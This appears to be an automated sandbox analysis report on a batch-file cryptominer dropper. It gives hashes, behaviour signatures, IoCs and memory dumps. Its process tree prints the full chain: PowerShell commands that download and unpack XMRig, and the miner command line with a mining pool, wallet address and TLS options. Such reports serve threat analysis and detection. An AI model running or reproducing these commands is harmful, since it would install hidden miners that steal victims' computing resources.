Analysis

  • max time kernel
    1814s
  • max time network
    1829s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 01:27

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1884
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2416

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    16c00792060bcf4dc26b50d6eb91793d

    SHA1

    eee371f44976decb9e07b6be1004291066d94132

    SHA256

    40993ea9646ee9b8dcb36948265e2f38268a27da6cf7dca4fe3bde481d923240

    SHA512

    0c302c86f0b5d80d2562aa2f3bfe01a849e2a998acbf8ffbf547b2076a7864bc2eced176f555d87593f73897c930e211de2c019accd17c668fea47ceb622f4bf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lzcsyuu2.lwy.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    87KB

    MD5

    f7ca38d58d7563ceb5ff02c75b2a4a6c

    SHA1

    e965c9e212d310b4589a7d593d1b93201ec6fad5

    SHA256

    e9e3e82b40c46b256ef99db983a75e610df87fd7b341dd46c95bf0450014ee27

    SHA512

    be7c06e3a1124607fe37f00f20d2d61fccf550c406982c6a143aa2d241c1ebcae3367fd62b68a3dcfa9763f511fb13044162f92b7d9a14552783e8a6bd660fce

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    447KB

    MD5

    5e3aec8c6a6d1402a5ffbea16eeaddb5

    SHA1

    5b1cef5ab470adc458915d97f43b5857132b0a45

    SHA256

    32f93a5bf8a0acbd76652ea32700e2835ea4a66a54e17492ec990f0d5cbd69a6

    SHA512

    323f77265a62d538e4f79f512b12d6bd5a22664093d9156af378be90bedb92385ba60e7ec432e5caf4ffef3b8d38d94ac992710198bace0e376ae0301ae85434

  • memory/1884-40-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1884-41-0x0000015B56750000-0x0000015B56760000-memory.dmp

    Filesize

    64KB

  • memory/1884-42-0x0000015B56750000-0x0000015B56760000-memory.dmp

    Filesize

    64KB

  • memory/1884-117-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1884-80-0x0000015B56720000-0x0000015B56732000-memory.dmp

    Filesize

    72KB

  • memory/1884-93-0x0000015B3E5F0000-0x0000015B3E5FA000-memory.dmp

    Filesize

    40KB

  • memory/1884-66-0x0000015B56750000-0x0000015B56760000-memory.dmp

    Filesize

    64KB

  • memory/2416-147-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-152-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-188-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-187-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-186-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-185-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-184-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-120-0x0000029570B00000-0x0000029570B20000-memory.dmp

    Filesize

    128KB

  • memory/2416-121-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-122-0x0000029570B50000-0x0000029570B90000-memory.dmp

    Filesize

    256KB

  • memory/2416-123-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-125-0x0000029572570000-0x0000029572590000-memory.dmp

    Filesize

    128KB

  • memory/2416-124-0x0000029572550000-0x0000029572570000-memory.dmp

    Filesize

    128KB

  • memory/2416-126-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-127-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-129-0x0000029572550000-0x0000029572570000-memory.dmp

    Filesize

    128KB

  • memory/2416-128-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-130-0x0000029572570000-0x0000029572590000-memory.dmp

    Filesize

    128KB

  • memory/2416-131-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-132-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-133-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-134-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-135-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-136-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-137-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-138-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-139-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-140-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-141-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-142-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-143-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-144-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-145-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-146-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-183-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-148-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-149-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-150-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-151-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-182-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-153-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-154-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-155-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-156-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-157-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-158-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-159-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-160-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-161-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-162-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-163-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-164-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-165-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-166-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-167-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-168-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-169-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-170-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-171-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-172-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-173-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-174-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-175-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-176-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-177-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-178-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-179-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-180-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2416-181-0x00007FF64EAF0000-0x00007FF64F5F3000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-26-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3720-4-0x0000023C324B0000-0x0000023C324D2000-memory.dmp

    Filesize

    136KB

  • memory/3720-5-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3720-7-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-9-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-10-0x0000023C4A7B0000-0x0000023C4A826000-memory.dmp

    Filesize

    472KB

  • memory/3720-25-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-27-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-28-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-29-0x0000023C32510000-0x0000023C32520000-memory.dmp

    Filesize

    64KB

  • memory/3720-34-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB